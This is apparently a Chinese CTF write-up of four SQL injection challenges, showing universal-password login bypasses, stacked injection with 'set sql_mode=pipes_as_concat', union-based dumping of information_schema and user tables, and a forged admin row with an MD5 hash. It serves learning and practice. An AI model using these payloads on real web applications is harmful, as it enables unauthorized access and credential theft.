SQL题

news2025/1/12 7:47:49

[极客大挑战 2019]EasySQL

进行简单的尝试,就知道是单引号的字符型注入

 万能密码进行一个简单的尝试

结果就出来了

还是要了解一下原理

输入的是1',形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

[SUCTF 2019]EasySQL

当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

我们就直接尝试一下命令

1;show databases;

1;show tables;  发现一个表为flag

 猜答案应该就会在flag表中,那么就可以查一下看看

1;show columns from Flag   (1;show columns from用来查询表中列名称)

没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

|| 变成类似 concat() 函数

看看后台的查询语句

$sql = "select ".$post['query']."||flag from Flag";

区别

在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

mssql中||表示连接操作符,不表示或的逻辑

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

payload

1;set sql_mode=pipes_as_concat;select 1

非预期

尝试之后就会发现没有过滤*

payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag

先查找全部,再去查找1

最后也是可以拿到结果的

[极客大挑战 2019]LoveSQL

尝试一下万能密码

 看看回显位置

1' union select 1,2,3#

发现是在2和3 回显

字段

1'order by 4#

只有三个字段

数据库

1' union select 1,database(),version()#

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 发现有二张表

geekuser
l0ve1ysq1

先看第一个

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

下一个也是一样的

也是先读取第一张表的内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

 

 下一张表的内容

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 

 发现这一张表的内容有许多,在后面就会发现答案。

[GXYCTF2019]BabySQli

 看看源代码

 base32后base64

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

 到这里就暂时没有思路了

先看看列数

1' order by 1,2,3#

是不是被过滤了,大写看看

 就知道有三列,并且还过滤了order

回显位置

1' union select 1,2,3#

 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

eg

select * from user where username = 'wxs' union select 1,'admin','123456';

 临时创建了一个admin用户,密码是123456

那就可以随便构建一个密码

123456

MD5  e10adc3949ba59abbe56e057f20f883e

payload

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

 

 数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1216865.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[代码实战和详解]VGG16

VGG16 详解 我的github代码实现:vgg16 我们在vgg16神经网络上训练了SIGNS数据集,这是一个分类的数据集,在我的github上有介绍怎么下载数据集以及如何训练。 VGG16是一个卷积神经网络(CNN)架构,它在2014年…

国内领先的五大API接口供应商

API(Application Programming Interface)接口,现在很多应用系统中常用的开放接口,对接相应的系统、软件功能,简化专业化的程序开发。作者用过的国内比较稳定的API接口供应商有如下几家,大家可以参考选择&am…

论文学习——THE USTC SYSTEM FOR ADRESS-M CHALLENGE

文章目录 引言正文Abstract模型基本结构模型效果汇总 Introduction介绍跨语言任务的独特性思路启发和变化如何使用预定义好的音频特征如何使用预定义好的语言模型——语言模型中获取韵律信息结果说明 Dataset数据集Mthods方法使用设计好的特征进行AD检测使用的特征分类和训练方…

【原创】java+swing+mysql通讯录管理系统设计与实现

前言: 通讯录管理系统是一个设计和实现个人或组织之间联系人信息管理的系统。该系统可能涵盖了联系人的详细信息,如姓名、电话号码、电子邮件地址、地址等,并提供了对联系人信息进行添加、删除、修改、查询等操作的功能。通讯录管理系统旨在…

Android设计模式--状态模式

真知即所以为行,不行不足谓之知 一,定义 当一个对象的内在状态改变时,允许改变其行为,这个对象看起来像是改变了其类。 这么说可能很难理解,通俗来讲就是当一个对象它有多种状态的时候,把每一种状态的行为…

【科普】储能EMS的嵌入式系统该如何选择?

来源:飞凌嵌入式官网 引言 储能EMS(能源管理系统)是专门针对储能系统设计和实施的管理系统,它在新型储能系统领域起到了至关重要的作用。储能EMS能够帮助企业或者机构实现储能设备的高效、安全和可靠管理,优化能源的储…

LeetCode热题100——二分查找

二分查找 1. 搜索插入位置2. 搜素二维矩阵3. 在排序数组中查找第一个和最后一个元素位置 1. 搜索插入位置 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 // 题…

vue-router配置

1、路由安装 npm install vue-router4 2、创建router目录 3、编辑文件且引入router包 4、main.js引入

【C++面向对象】13. 接口 / 抽象类*

文章目录 【 1. 抽象类 】1.1 抽象类的定义1.2 抽象类的应用条件1.3 实例 【 2. 设计策略 】 接口描述了类的行为和功能,而不需要完成类的特定实现。C 接口是使用 抽象类(abstract base class,也称为ABC) 来实现的。 【 1. 抽象类…

《C++避坑神器·二十》C++智能指针简单使用

智能指针&#xff0c;自动释放所指向的对象。 头文件 #include <memory>shared_ptr 允许多个指针指向同一个对象 unique_ptr 独占所指向的对象 weak_ptr 指向shared_ptr所管理的对象 作用原理&#xff1a;在函数作用域结束时调用析构函数自动释放资源。 shared_ptr: …

数据结构-二叉树力扣题

目录 1.相同的树 2.二叉树中查找值为x的节点 3.单值二叉树 4.对称二叉树 5.二叉树的前序遍历 6.另一颗树的子树 层序遍历&#xff1a; 7.二叉树遍历 8.判断二叉树是否是完全二叉树 一个特殊的性质&#xff1a; 1.相同的树 题目链接&#xff1a;力扣&#xff08;LeetC…

基于操作系统讨论Java线程与进程、浅谈Go的线程与管程

文章目录 操作系统中的进程进程概念进程的状态 Java中的进程Java进程的概念Java进程的特性Java进程的状态Java进程与操作系统进程的通信 操作系统的进程和Java进程的区别联系操作系统进程Java 进程区别和联系 操作系统中的线程动机优点多核编程 Java中的线程定义&#xff1a;特…

ping命令使用示例解析

【一】ping命令简介 ping &#xff08;Packet Internet Groper&#xff09;是一种因特网包探索器&#xff0c;用于测试网络连接量的程序。ping的一般用途有&#xff1a; ①【测试网络物理链路是否正常】&#xff1a;通过将ICMP(Internet控制消息协议)回显数据包发送到网络终端&…

Unity中Shader图形流水线中的纹理

文章目录 前言一、图形流水线中的纹理1、我们的纹理一般用于&#xff1a;2、纹理的获取方式&#xff1a; 二、纹理的分类1、颜色纹理2、几何纹理 三、纹理管线四、纹理的作用1、纹理可以 替换 漫反射模型中的 漫反射系数Kd2、纹理还有的作用 前言 Unity中Shader图形流水线中的…

【入门篇】1.3 redis客户端之 jedis 高级使用示例

文章目录 0.前言1. 发布和订阅消息2. 事务操作3. 管道操作4. jedis 支持哨兵模式5. jedis 支持集群模式5. 参考链接 0.前言 Jedis是Redis的Java客户端&#xff0c;它支持所有的Redis原生命令&#xff0c;使用方便&#xff0c;且可以与Java项目无缝集成。 该库的最新版本支持Re…

C#创建并调用dll

文章目录 1.VS2019创建C#主程序2.编译主程序3.添加类库工程&#xff0c;并添加计算逻辑4.给主程序添加引用项5.重新编译主程序6.主程序添加测试逻辑 1.VS2019创建C#主程序 2.编译主程序 debug目录下生成exe&#xff1a; 3.添加类库工程&#xff0c;并添加计算逻辑 添加计算逻…

ROS 多机器人导航RVIZ环境的配置

文章目录 前言一、添加多个2D Pose Estimate/2D nav Goal二、RVIZ的其他配置1.RobotModel 总结 前言 前文ROS Turtlebot3多机器人编队导航仿真写了多机器人呢导航的代码实现&#xff0c;本文主要说明&#xff0c;RVIZ导航环境的配置&#xff0c;如何添加多个2D Pose Estimate/…

CODING DevOps产品认证笔记

1.敏捷&精益&瀑布概述 1.1 敏捷软件开发 第一章敏捷软件开发背景 背景&#xff1a;乌卡时代 易变性:当今世界的变化越来越多越来越快&#xff0c;越来越不可预测。不确定性:历史上的任何一个时代所带来的经验已经无法为当今世界的所有变化提供参照。复杂性:事物间的…

Uniapp连接iBeacon设备——实现无线定位与互动体验(实现篇)

export default { data() { return { iBeaconDevices: [], // 存储搜索到的iBeacon设备 deviceId: [], data: [], url: getApp().globalData.url, innerAudioContext: n…